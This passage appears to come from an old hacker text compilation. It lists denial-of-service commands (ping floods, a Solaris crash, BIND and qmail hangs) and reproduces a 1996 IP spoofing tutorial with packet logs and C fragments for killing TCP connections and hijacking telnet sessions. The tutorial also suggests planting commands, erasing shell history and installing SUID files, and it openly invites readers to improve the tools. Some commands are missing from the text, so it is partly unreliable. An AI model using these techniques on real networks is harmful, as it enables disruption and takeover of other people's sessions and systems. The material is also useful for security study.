therefore keep the syn_received connection queue of\nthe target machine filled.\n\nPING FLOODING\n\nThe impact of ping flooding is big. Under Unix we could try something like: ping -s host to\nsend 64 bytes packets.\n\nIf you have Windows 95, click the start button, select RUN, then type in:\nPING -T -L 256 xxx.xxx.xxx.xx. Start about 15 sessions.\n\nIn section xxxxxxxxxxxxxxxxxxxxxxxxxxxxx you can find information about a ping-flooding-gun.\n\nUnder Unix the -f switch could be of use.\n\nCRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES\n\nIf someone can ping your machine from a Windows 95 machine he or she might reboot, freeze or\ncrash your machine. The attacker simply writes:\n\nAnd the machine will freeze or reboot.\n\nA very good page about the problem and with a long list of affected systems can be found at\n\nThe page is maintained by Mr Mike Bremford.\n\nThe subnet mask reply message is used under the reboot, but some hosts are known to accept the\nmessage any time without any check. If so all communication to or from the host can be\nturned off.\n\nThe host should not accept the message any time but under the reboot.\n\nFLEXlm\n\nAny host running FLEXlm can get the FLEXlm license manager daemon on any network to shutdown\nusing the FLEXlm lmdown command.\n\n# lmdown -c \/etc\/licence.dat\n\nlmdown - Copyright (C) 1989, 1991 Highland Software, Inc.\n\nShutting down FLEXlm on nodes: xxx\n\nAre you sure? [y\/n]: y\n\nShut down node xxx\n\n#\n\nBOOTING WITH TRIVIAL FTP\n\nTo boot diskless workstations one often use trivial ftp with rarp or bootp. If not protected an\nattacker can use tftp to boot the host.\n\nATTACKING USENET\n\nIt can be possible to cancel some ones else's article, destroy newsgroups and sending false\n\nATTACKING NAME SERVERS\n\nThe name server is the program that holds the information about the domain and answers\nquestions. The part of the domain name space that the name server holds is referred to as\na zone.\n\nThe name server is seldom the only one, it is a to important service. Instead can at least two\nbe found, the primary master and the secondary master. However can not to many secondary\nmasters exist (10 ?). The secondary master provides a backup to the primary.\n\nEvery time the name server makes a request it collects and store information and next time if\nanother query is made for the information, it already have it in the cache.\n\nAn attack at the name server could have a very big impact. Many servers depends heavily on\nproper working name servers, for example: rlogin, rsh, rcp, xhost, NFS, smtp, ftp...\n\nTo attack the name server could we of course use any method described in this paper, but the\nmachine running the name server seldom do anything except DNS-work. The DNS-server is also very\nimportant and have had several security problems that are well known. Because of these reasons\nwill the DNS-server most likely be well protected and other services beside DNS will probably\nnot exist (although ping flooding could be a threat if not a firewall that filters ping from\nthe outside exist). The attack that are left is to attack the service it self at port 53.\nWe could for example:\n\nSend random garbage to it.\nSend true queries to it.\nUse syn flooding.\n\nAlternative two should be the most effective one, because it will do every thing that\nalternative one do and beside that keep the service program it self busy looking up DNS-names.\nPutting together a long random list with DNS-name will also contain mostly addresses outside\nthe zone, making the name server to try querying other name servers.\n\nSSH AND PPP\n\nIf a PPP connection is made via SSH drops, all processes controlled by it can get zombied out.\nThe processes can not be killed with a kill -9 -1. To get rid of the zombies kill sshd.\n\nsystem but do not give the password. Until you have given the password no one else will be\n\nThis is a matter of configuration.\n\nBIND\n\nTelnet to port 53 on a host running BIND-4.9.5-P1. Enter something for example abcdef, but if\nthat doesn't work just try something else. Hit enter and close the connection.\n\nThe server will not now accept any TCP connections and the named-process may consume a lot of\nCPU time.\n\nping -sv -i 127.0.0.1 224.0.0.1\n\n$ping -sv -i 127.0.0.1 224.0.0.1 Can cause Solaris to reboot or crash. qmail A machine running qmail can run out ouf memory if someone are sending SMTP commands of unlimited length. Two example programs can be found at address: http:\/\/www.student.tdb.uu.se\/~t95hhu\/programs\/qmail.txt ___________________________________________________________________________ IP Spoofing Information: -=[ A short overview of IP spoofing: PART I ]=- -=[ Part of 'The Packet Project']=- (Includes Source for Linux 1.3.X and later kernels) All text and Source code written by Brecht Claerhout (Copyright 1996) All source tested on Linux kernel 2.0.X All packet data captured with Sniffit 0.3.2 (a pre-release at that time) ------------------------------------------------------------------------------- PART I: Simple spoofing (Non blind) ----------------------------------- 0. Introduction 0.1 What 0.2 For whom 0.3 Disclaimer 0.4 Licence 1. Short explanation of some words 2. Description of sourcecode 2.1 Source included 2.2 Programmer notes 3. TCP\/IP (UDP) in an hazelnutshell 4. Non-blind spoofing 4.1 Know what you are doing 4.2 SYN flooding 4.3 Connection Killing 4.3.1 Using reset (RST) 4.3.2 Closing a connection (FIN) 4.3.3 Improving 4.4 Connection Hijacking 4.5 Other 5. The source code ------------------------------------------------------------------------------- PART I: Simple spoofing (Non blind) ------------------------------------------------------------------------------ 0. Introduction --------------- 0.1 What -------- This document describes some IP spoofing attacks and gives you example source code of the programs used for these attacks (and packet sniffer logs, so you see what exactly happens). It also provides you with an easy to use include file for experimenting a little yourself. Oh, if you make something nice with the \"spoofit.h\" file, please mail it to me (or a reference where it is available) with a little explanation on what it is (a few lines are enough)... If you have interesting remarks, comment, idea's, ... please contact me Brecht Claerhout <Coder@reptile.rug.ac.be> PoBox 144 9000 Gent 12 Belgium If YOU think of yourself, you are \"3><Tr3\/\\\/\\3lY 3Le3T\", please don't bother contacting me. Flames >\/dev\/null or >\/dev\/echo depends on how smart you are. It is not wise to use what you don't know\/understand, so read this before trying anything... it will only take a few minutes, and probably save you some hours of failure... This code is not crippled in the usual way (removing some vital parts), the power is limited by it's briefness, because I wanted to keep everything simple and illustrative (but working). It's a simple job to improve it, and that is the goal of this doc, that you improve it yourself. Thanks too Wim Vandeputte for spellchecking, and putting up with my constant nagging about IP during the writing of this sh!t... 0.2 For whom ------------ For people with an elementary knowledge of TCP\/IP, some knowledge on C (only the basic setup) and some general UNIX knowledge. It's no use reading this document if you are completely unaware of these things, but mind you, only a little knowledge is enough. 0.3 Disclaimer -------------- I am in no way responsible for the use of this code. By using this software and reading this document you accept the fact that any damage (emotional, physical, dataloss and the end of the world as we know it ...) caused by the use or storage of these programs\/documents is not MY responsability. I state that during the writing and testing of this document\/source, I never violated any law. All spoofing was done between machines where I had legit root access, or where I had the permission from the legit root. This code can be written by any competent programmer, so this source is not so harmfull as some will say (cauz' I'm sure some people won't like this degree of disclosure). 0.4 Licence ----------- All source code and text is freely available. You can spread it, as long as you don't charge for it (exceptions are a small reproduction fee, if it isn't spread together with commercial software, texts.) You may not spread parts of the document, it should be spread as one package. You may not modify the text and\/or source code. You can use the spoofit.h or derived code in your own programs as long as they are not commercial (i.e. FREE), and you give me the credits for it. 1. Short explanation of some words ---------------------------------- This is a short explanation of some words you might see in the text\/source. You probably know all this, but I put it in here anyway. Sniffit My favourite Packet Sniffer, all sniffed sequences in this document where created with it. Sniffit can be obtained from: http:\/\/reptile.rug.ac.be\/~coder\/sniffit\/sniffit.html Off course any other decent sniffer will do (but this one wears my personal marks and approval). (At time of writing a pre-release 0.3.2) IP-spoofing (further referenced to as spoofing) The forging of IP packets NOTE that not only IP based protocols are spoofed. NOTE that spoofing is also used on a constructive base (LAN spoofing, not discussed here). NOTE that I don't use it on a constructive base ;) Non-blind spoofing Using the spoofing to interfer with a connection that sends packets along your subnet (so generally one of the 2 hosts involved is located on your subnet, or all data traffic has to be passing your network device,... you might consider taking a job at some transatlantic route provider). Blind spoofing Using the spoofing to interfer with a connection (or creating one), that does not send packets along your cable. 2. Description of sourcecode ---------------------------- 2.1 Source included ------------------- spoofit.h The include file that provides some easy to use spoofing functions. To understand the include file and it's functions, read the header of that file for use of the C functions. *.c Example programs (on the use of spoofit.h) that are discussed in this document. Details on these programs are included in the appropriate sections. sniper-rst.c Basic TCP connection killer. (denial-of-services) sniper-fin.c Basic TCP connection killer. (denial-of-services) hijack.c Simple automated telnet connection hijacker. 2.2 Programmer notes -------------------- These programs are just examples. That means, they could be improved a lot. Because I wanted to keep them short and leave some stuff to your imagination, they are very simple. However they all work and are a good starting point. 3. TCP\/IP (UDP) in an hazelnutshell ----------------------------------- Because it has been explained enough in 'Phrack Volume Seven, Issue Forty-Eight, File 14 of 18' by daemon9\/route\/infinity , and there is a lot of documentation available on the subject I will only repeat some things very briefly. (Please read the phrack #48 file or any other document on the subject before reading this). A connection is fully defined with 4 parameters, a source host and port, and a destination host and port. When you make a connection, data is send in packets. Packets take care of low level trafic, and make sure the data arrives (sometimes with special error handling). The spine of most networks is the IP protocol version 4. It is totally independent of all hardware protocols. TCP and UDP are higher level protocols wrapped up in IP packets. All those packets consist of a header and data. IP header contains (amongst other things): IP of source and destination hosts for that packet, and the protocol type of the packet wrapped up in it. (TCP=6, UDP=17, etc.). UDP packets contain (amongst other things): port number of source and destination host. UDP has no such thing as SEQ\/ACK, it is a very weak protocol. TCP packets contain (amongst other things): port number of source and destination host, sequence and acknowledge numbers (further refered to as SEQ\/ACK), and a bunch of flags. SEQ number: is counted byte per byte, and gives you the number of the NEXT byte to be send, or that is send in this packet. ACK number: is the SEQ number that is expected from the other host. SEQ numbers are chosen at connection initiation. I said is was going to be short... If you didn't understand the above text, read up on it first, because you won't understand sh!t of the rest. 4. Non-blind spoofing --------------------- 4.1 Know what you are doing --------------------------- The concept of non-blind spoofing (NBS further in this doc) is pretty simple. Because packets travel within your reach, you can get the current sequence and acknowledge (SEQ\/ACK further in this doc) numbers on the connection. NBS is thus a very easy and accurate method of attack, but limited to connections going over your subnet. In spoofing documentation these attacks are sometimes ommited, because they are mostly 'denial-of-service' attacks, or because people don't realise the advantage a spoof (in particulary a hijack) can have above simple password sniffing. Spoofing in generally is refered to as a verry high level of attack. This refers to blind spoofing (BlS further in this doc), because NBS is kidstuff for a competent coder. 4.2 SYN flooding ---------------- Thoroughly discussed in 'Phrack Volume Seven, Issue Forty-Eight, File 13 of 18'. I won't waste much time on it. Setup: host A <-----][----------X--------------->host B | host S <-----------------\/ Concept: Host S impersonates SYN (connection init) coming from host A, to host B. Host A should be unreachable (e.g. turned off, non existant,...). B sends out the second packet of the 3 way TCP handshake. Host B will now wait for response of host A. If host A is reachable it will tell host B (with a reset: RST) that it DID NOT inititate a connection, and thus host B received a bogus packet. (In that case host B will ingnore the SYN, and *normally* nothing will happen) So if A is unreachable, B will wait for response some time. When doing multiple attacks, the backlog of host B is going to be exceeded and host B will not except new connections (read on TCP bugs for additional features ;) for some time. 4.3 Connection Killing ---------------------- Setup: host A <------X------------------------->host B | A,B have a TCP connection running host S <------\/ A,S on same subnet (setup is the same in both cases) Use: Clearing mudders of your net, annoying that dude typing an important paper, etc... plain fun. 4.3.1 Using reset (RST) ----------------------- Concept: TCP packets have flags which indicate the status of the packet, like RST. That is a flag used to reset a connection. To be accepted, only the sequence number has to be correct (there is no ACK in a RST packet). So we are going to wait for packets in a connection between A and B. Assume we wait for packets to A. We will calculate (from B's packets) the sequence number for A's packets (from B's ACK's), and fire a bogus RST packet from S (faking to be A) to B. An actual attack: (These are real sniffed packets, although IP numbers of hosts were changed) host A : 166.66.66.1 host B : 111.11.11.11 (S on same subnet as A) (This is a good example of how things not always go as you want, see below for a solution) 1) connection running... we wait for a packet to get current SEQ\/ACK (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23 SEQ (hex): 57E1F2A6 ACK (hex): B8BD7679 FLAGS: -AP--- Window: 3400 (data removed because irrelevant, 2 bytes data) 2) This is the ACK of it + included data (witch causes SEQ number to change, and thus messing up our scheme, because this came very fast.) (B->A) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD7679 ACK (hex): 57E1F2A8 FLAGS: -AP--- Window: 2238 (data removed because irrelevant, 2 bytes data) 3) ACK of it. (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23 SEQ (hex): 57E1F2A8 ACK (hex): B8BD767B FLAGS: -A---- Window: 3400 (data removed because irrelevant) 4) further data (B->A) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD767B ACK (hex): 57E1F2A8 FLAGS: -AP--- Window: 2238 (data removed because irrelevant) 5) ACK of it (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23 SEQ (hex): 57E1F2A8 ACK (hex): B8BD7691 FLAGS: -A---- Window: 3400 6) Now we get 2 RST packets. How do you explain that? Well, the first reset packet has been buffered somewhere on our system, because the ethernet segment was busy when we wanted to send it. This is the 'unexpected thing' I discussed above, here we are lucky, the data stream cooled down so fast. When it doesn't cool down so fast, we could miss our RST (or the connection will be killed a little later then when we wanted), you'll see some idea's on how to fix that problem. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD7679 FLAGS: ---R-- TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD7691 FLAGS: ---R-- (This was the packet that killed the connection) Discussion of the program: The discussion here is a bit weird , that is because 'sniper-rst.c' is not designed to be an optimal killer, merly to be an example. We have the problem of speed here. We miss some packets what causes those resends. So we would design a better 'sniper' if we do the following: - use blocking IO (not necessarilly, because the RST killer would loose some of it's beauty (looping), this is dealt with in the FIN killer example. Blocking is a little faster when a lot of packets come after each other.) - multi-packet firing... fire more packets with incremented SEQ. (this is commented in the source) - waiting for a pure ACK packet (no data), because otherwise you risk to much of getting mid transmission and not being fast enough. (disadvantage is the 'waiting period' before the connection is killed) NOTE these examples were done on non-loaded networks, with non-loaded servers, what makes it a worst case scenario for speed problems. 4.3.2 Closing a connection (FIN) -------------------------------- Concept: An other flag is FIN and says: \"no more data from sender\". This flag is used when closing a connection down the normal legit way. So if there was a way to make a packet that is accepted by one of the two hosts, this host would believe the 'sender' didn't have any data left. Following (real) packets would be ignored as they are considered bogus. That's it, because we can sniff the current SEQ\/ACK of the connection we can pretend to be either host A or B, and provide the other host with CORRECT packetinformation, and an evil FIN flag. The beauty of it all is, that after a FIN is send the other host always replies with one if it is accepted, so we have a way to verify our killing, and can be 100% sure of success (if for some reason we missed a SEQ or ACK, we can just resend). RST killing is more popular and is prefered, but I've put this in as an example, and I like it myself. An actual attack: (These are real sniffed packets, although IP numbers of hosts were changed) host A : 166.66.66.1 host B : 111.11.11.11 (S on same subnet as A) 1) connection is running.... sniper is started on host S as 'sniper-fin 166.66.66.1 23 111.11.11.11 1072' and waits for a packet to take action (we need to get SEQ\/ACK) (mind you switching host A and B would be the same, only S would be impersonating A instead of B) suddenly a packet arrives... (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B98B ACK (hex): 69C5473E FLAGS: -AP--- Window: 3400 Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 45 E 00 . 00 . 2A * 30 0 5E ^ 40 @ 00 . 40 @ 06 . 5E ^ AD . 9D . C1 . 45 E 33 3 9D . C1 . 2B + 0D . 00 . 17 . 04 . 30 0 19 . C6 . B9 . 8B . 69 i C5 . 47 G 3E > 50 P 18 . 34 4 00 . 3A : 61 a 00 . 00 . 0D . 0A . ~~~~~~~~~ > 2 data bytes 2) sniper detected it, and sends a bogus packet. (S as B -> A) We calculate our SEQ as: ACK of (A->B) packet We calculate our ACK as: SEQ of (A->B) packet + datalength of that packet (19C6B98B + 2 = 19C6B98D) (so we tell A, we received the last packet, and will not transmit further data) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23 SEQ (hex): 69C5473E ACK (hex): 19C6B98D FLAGS: -A---F Window: 7C00 (data removed because irrelevant) 3) host A now says: 'okay, you end the session, so here is my last data' (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B98D ACK (hex): 69C5473E FLAGS: -AP--- Window: 3400 (data removed because irrelevant) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B998 ACK (hex): 69C5473F FLAGS: -A---- Window: 3400 (data removed because irrelevant) 4) host A now has flushed its buffer and on his turn FIN's the connection. (A->B) sniper, intercepts this packet and now knows the hosts fell for the spoof and the killing was a success! (host A will no longer accept any data) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B998 ACK (hex): 69C5473F FLAGS: -A---F Window: 3400 (data removed because irrelevant) 5) We impersonated B, making A believe we had no further data. But B doesn't know that and continues to send packets. (B->A) host A has that connection closed, and thus thinks the real packets of B are spoofed (or at least bogus)! So host A sends some reset packets (RST). TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23 SEQ (hex): 69C5473E ACK (hex): 19C6B98D FLAGS: -A---- Window: 3750 (data removed because irrelevant) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B98D FLAGS: ---R-- (data removed because irrelevant) 6) This goes on for a couple of packets. Discussion of the program (numbers correspond with those of 'An Actual Attack'): 1) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10); if(stat==-1) {printf(\"Connection 10 secs idle... timeout.\\n\");exit(1);} We use wait_packet on a non blocking socket. This way we can enable a 10 seconds timeout. This functions returns when the correct packet has been delivered (or timeout). 2) sp_seq=pinfo.ack; sp_ack=pinfo.seq+pinfo.datalen; transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P, sp_seq,sp_ack,ACK|FIN); We calculate a spoofed SEQ\/ACK, and fire off a fake FIN packet. As we don't send any data with it, our buffer is set to NULL and datalength to 0. NOTE together with FIN, you need to enable ACK. 3) N\/A 4) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5); if(stat>=0) {printf(\"Killed the connection...\\n\"); exit(0);} We wait for a FIN packet (note the FIN in wait_packet). We use a 5 sec. timeout, if the function returns and stat>=0 (-1 on timeout), we know our attempt was successfull. 5) N\/A 6) N\/A NOTE We can have the same problem here as with the RST killer. But didn't have it here, because the packet we responded upon was the end of a data stream (in fact it was an echo from a shell command) 4.3.3 Improving --------------- Except from multipacket firing, it is advised to launch 2 attacks (one in both ways). This illiminates one side oriented connections to be handled optimally. I think of things like downloading data, which is a one way data-flow, it is much easier sending a RST from the (spoofed) receiver to the sender, then the other way around. Those 2 attacks could both impersonate host A and B, and thus giving is 4 times more chance of a succesfull kill. I'll leave further experimenting up to you (use your imagination to handle different situations). 4.4 Connection Hijacking ------------------------ Setup: host A <------X------------------------->host B | A,B have a TCP connection running (TELNET) host S <------\/ A,S on same subnet Concept: (suppose a TELNET from A (client) to B (server)) TCP separates good and bogus packets by their SEQ\/ACK numbers i.e. B trusts the packets from A because of its correct SEQ\/ACK numbers. So if there was a way to mess up A's SEQ\/ACK, B would stop believing A's real packets. We could then impersonate to be A, but using correct SEQ\/ACK numbers (that is numbers correct for B). We would now have taken over the connection (host A is confused, B thinks nothings wrong (almost correct, see 'actual attack'), and S sends 'correct' data to B). This is called 'Hijacking' a connection. (generally hijacking a TELNET session, but same could be done woth FTP, RLOGIN, etc...) How could we mess up A's SEQ\/ACK numbers? Well by simply inserting a data packet into the stream at the right time (S as A->B), the server B would accept this data, and update ACK numbers, A would continue to send it's old SEQ numbers, as it's unaware of our spoofed data. Use: I allready hear you wiseguys yelling: \"Hey dude, why hijack a connection if you can sniff those packets anyway??\" Well, anybody heared of One Time Passwords, Secure Key?? Case closed.... (S\/Key: server challenges client, client and server calculate a code from the challenge and password, and compare that code. The password itself is never send on the cable, so you can't sniff sh!t). (OTP: server has a list of passwords, once one is used, it is destroyed, so sniffing gets you a password that has 'just' expired ;) (ALL types of identification that happen at connection (encrypted or not, trusted or not), and don't use encrypted data transfer, are vulnerable to 'hijacking'.) An actual attack: (These are real sniffed packets, although IP numbers of hosts were changed) (suppose a TELNET from A (client) to B (server)) host A : 166.66.66.1 host B : 111.11.11.11 (S on same subnet as A) 1) connection running... we look with sniffit, and see he's busy in a shell, we start 'hijack' on host S as 'hijack 166.66.66.1 2035 111.11.11.11' a packet containing from (A->B) is detected... hijack takes action... (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EA ACK (hex): C34A67F6 FLAGS: -AP--- Window: 7C00 Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 45 E 00 . 00 . 29 ) CA . F3 . 40 @ 00 . 40 @ 06 . C5 . 0E . 9D . C1 . 45 E 3F ? 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \\ 82 . 23 # EA . C3 . 4A J 67 g F6 . 50 P 18 . 7C | 00 . 6D m 29 ) 00 . 00 . 6C l ~~~~ 2) host B (server) echo's that databyte (typing 'l' in a bash shell!!!) (you gotta know what you are doing) (B->A) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A67F6 ACK (hex): 5C8223EB FLAGS: -AP--- Window: 2238 Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 45 E 00 . 00 . 29 ) B5 . BD . 40 @ 00 . FC . 06 . 1E . 44 D 9D . C1 . 2A * 0B . 9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F6 . 5C \\ 82 . 23 # EB . 50 P 18 . 22 \" 38 8 C6 . F0 . 00 . 00 . 6C l ~~~~ 3) A simple ACK from host A to B responding to that echo. Because we know this can come, and we know a simple ACK doesn't contain data, we don't need this for SEQ\/ACK calculation. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EB ACK (hex): C34A67F7 FLAGS: -A---- Window: 7C00 (data removed because irrelevant) 4) Now we impersonate further data (following packet 1). (S as A -> B) We calculate SEQ\/ACK out of packet 1, NOT out of the 'echo' from B, because we have to be as fast as possible, and packet 2 could be slow. We send some backspaces and some enters. To clean up the command line. We will probably still get some error message back from the shell. But we handle that too! (see sourcecode) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EB ACK (hex): C34A67F6 FLAGS: -AP--- Window: 7C00 Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 45 E 00 . 00 . 32 2 31 1 01 . 00 . 00 . 45 E 06 . 99 . F8 . 9D . C1 . 45 E 3F ? 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \\ 82 . 23 # EB . C3 . 4A J 67 g F6 . 50 P 18 . 7C | 00 . AE . F5 . 00 . 00 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 0A . 0A . 5) This is the echo of our spoofed data. Look at ACK. (B->A) 5C8223F5 = 5C8223EB + 0A (this is how we detect that the spoof was a success) NOTE that at this point the connection is ours, and A's SEQ\/ACK numbers are completely f#cked up according to B. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A67F7 ACK (hex): 5C8223F5 FLAGS: -AP--- Window: 2238 Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 45 E 00 . 00 . 3C < B5 . BE . 40 @ 00 . FC . 06 . 1E . 30 0 9D . C1 . 2A * 0B . 9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F7 . 5C \\ 82 . 23 # F5 . 50 P 18 . 22 \" 38 8 26 & 7C | 00 . 00 . 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 0D . 0A . 0D . 0A . 6) Hijack will now try to get on track of SEQ\/ACK numbers again, to send the data we want to be executed. NOTE each time a packet 'out of numbering' arrives the host should answer with correct SEQ\/ACK, this provides us with the certainty that a lot of packets are going to be send with correct (and not changing) SEQ\/ACK nrs. (this is where the mechanism of getting our numbers back straight is based upon) NOTE it's at this point the real TELNET client's session hangs, most people ignore this and re-login after a few secs, accepting the accident as Murphy's law. (Well it *can* happen without any spoofing involved) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EB ACK (hex): C34A67F7 FLAGS: -AP--- Window: 7C00 (data removed because irrelevant) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A680B ACK (hex): 5C8223F5 FLAGS: -A---- Window: 2238 (data removed because irrelevant) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-157.193.42.11.23 SEQ (hex): 5C8223EB ACK (hex): C34A67F7 FLAGS: -AP--- Window: 7C00 (data removed because irrelevant) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A680B ACK (hex): 5C8223F5 FLAGS: -A---- Window: 2238 (data removed because irrelevant) 7) We are back on track (or at least hijack is, because this is going very fast). And we fire off our faked bash command. echo \"echo HACKED\" >>$HOME\/.profile<ENTER>\n\nTCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23\nSEQ (hex): 5C8223F5 ACK (hex): C34A680B\nFLAGS: -AP--- Window: 7C00\nPacket ID (from_IP.port-to_IP.port): 166.66.66.1-111.11.11.11.23\n45 E 00 . 00 . 4D M 31 1 01 . 00 . 00 . 45 E 06 . 99 . DD . 9D . C1 . 45 E 3F ?\n9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \\ 82 . 23 # F5 . C3 . 4A J 68 h 0B .\n50 P 18 . 7C | 00 . 5A Z B6 . 00 . 00 . 65 e 63 c 68 h 6F o 20 22 \" 65 e 63 c\n68 h 6F o 20 48 H 41 A 43 C 4B K 45 E 44 D 22 \" 20 3E > 3E > 24 $48 H 4F O 4D M 45 E 2F \/ 2E . 70 p 72 r 6F o 66 f 69 i 6C l 65 e 0A . 00 . 8) now we wait for this data to be confirmed. ACK = 5C8223F5 + 025 (=37 bytes) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A680B ACK (hex): 5C82241A FLAGS: -AP--- Window: 2238 Packet ID (from_IP.port-to_IP.port): 157.193.42.11.23-157.193.69.63.1040 (data removed because irrelevant) 9) The connection runs on. Now you can execute more commands (just stay on track of SEQ\/ACK), and even finnish the connection (with the same mechanism of sniper, or with sniper itself... here FIN is recommended). NOTE: here it is important to be in a shell. But if you have been watching someone, and you notice he's always directly going to 'pine' and you can't get inbetween on time. NO PROBS.... just make a cleanup string that cleans up 'pine' and puts you back in the shell. (some control chars, hotkeys, whatever....) NOTE: if you clean up the .sh_history of .bash_history (whatever) this attack is one of the nicest there is. Another advantage above sniffing. NOTE: Noone says you have to make a .rhosts file (rlogin and family might be disabled), you can change permissions, put stuff SUID, put it public, install stuff, mail, etc.. Discussion of the program (numbers correspond with those of 'An Actual Attack'): 1) wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0); Waiting for actual data (PSH is always used for packets containing data in interactive services like TELNET) 2) N\/A 3) N\/A 4) sp_seq=attack_info.seq+attack_info.datalen; sp_ack=attack_info.ack; transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER, 23,sp_seq,sp_ack,ACK|PSH); We recalculate the sequence number (using SEQ and datalength of packet 1) an we send a spoofed packet with ACK and PSH flag, containing the cleanup data in to_data. 5) while(count<5) { wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0); if(attack_info.ack==sp_seq+sizeof(to_data)) count=PERSONAL_TOUCH; else count++; }; We wait for a confirmation that our spoofed sequence is accepted. We expect a packet with an ACK set (PSH or not). It should come within 5 packets, we use this limit, because we should be able to handle some previous ACK packets! NOTE we don't check SEQ nrs, because we have no clue of what they are going to be (data might have been send our way, or not). 6) while(count<10) { old_seq=serv_seq; old_ack=serv_ack; wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P, ACK,0); if(attack_info.datalen==0) { serv_seq=attack_info.seq+attack_info.datalen; serv_ack=attack_info.ack; if( (old_seq==serv_seq)&&(serv_ack==old_ack) ) count=PERSONAL_TOUCH; else count++; } }; To get back on track, we try to receive 2 ACK packets without data with the same SEQ\/ACK. We know enough packets will be send as a response to incorrect packets from the confused host A. This is how we get back on track. NOTE In a case where A completely gave up, simple spoof a packet with incorrect SEQ\/ACK to get the correct numbers back. 7) transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P, SERVER,23,serv_ack,serv_seq,ACK|PSH); Pretty clear.... 8) while(count<5) { wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0); if(attack_info.ack==serv_ack+sizeof(evil_data)) count=PERSONAL_TOUCH; else count++; }; and again waiting for confirmation. NOTE after the above attack, hijack had produced the following output: Starting Hijacking demo - Brecht Claerhout 1996 ----------------------------------------------- Takeover phase 1: Stealing connection. Sending Spoofed clean-up data... Waiting for spoof to be confirmed... Phase 1 ended. Takeover phase 2: Getting on track with SEQ\/ACK's again Server SEQ: C34A680B (hex) ACK: 5C8223F5 (hex) Phase 2 ended. Takeover phase 3: Sending MY data. Sending evil data. Waiting for evil data to be confirmed... Phase 3 ended. 4.5 Other --------- This list is far from complete, I'm sure you can think of other nice things to do with this information, think, experiment and code! 5. The source code ------------------ ---=[ spoofit.h ]=------------------------------------------------------------ \/**************************************************************************\/ \/* Spoofit.h - Include file for easy creating of spoofed TCP packets *\/ \/* Requires LINUX 1.3.x (or later) Kernel *\/ \/* (illustration for 'A short overview of IP spoofing') *\/ \/* V.1 - Copyright 1996 - Brecht Claerhout *\/ \/* *\/ \/* Purpose - Providing skilled people with a easy to use spoofing source *\/ \/* I used it to be able to write my tools fast and short. *\/ \/* Mind you this is only illustrative and can be easily *\/ \/* optimised. *\/ \/* *\/ \/* Author - Brecht 